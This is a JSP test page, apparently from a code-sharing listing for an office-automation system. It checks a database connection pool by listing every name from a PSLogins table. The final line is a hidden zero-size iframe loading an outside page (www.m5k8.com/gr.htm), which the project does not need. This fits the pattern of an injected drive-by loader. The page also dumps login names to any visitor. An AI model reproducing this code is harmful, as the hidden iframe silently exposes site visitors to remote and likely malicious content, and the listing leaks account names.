test.jsp

来自「JSP网络办公自动化系统开发完整的很好好的」· JSP 代码 · 共 26 行

<%@ page contentType="text/html;charset=gb2312"  language="java"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>

<%int i = 0;  
  Context initCtx = new InitialContext();
  if (initCtx == null){
  	throw new Exception("不能获取Context!");
  }
  DataSource ds = (DataSource) initCtx.lookup("java:comp/env/eims");
  Connection conn = ds.getConnection();
  Statement stmt = conn.createStatement();
  PreparedStatement ps=conn.prepareStatement("select * from PSLogins");
  ResultSet rs=ps.executeQuery();
  while(rs.next()){
      out.println(rs.getString("Name")+"<BR>");
      i++;
  }
//rs.close();
//stmt.close();
//conn.close();
out.println("连接池测试成功了"+i);
%>
<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>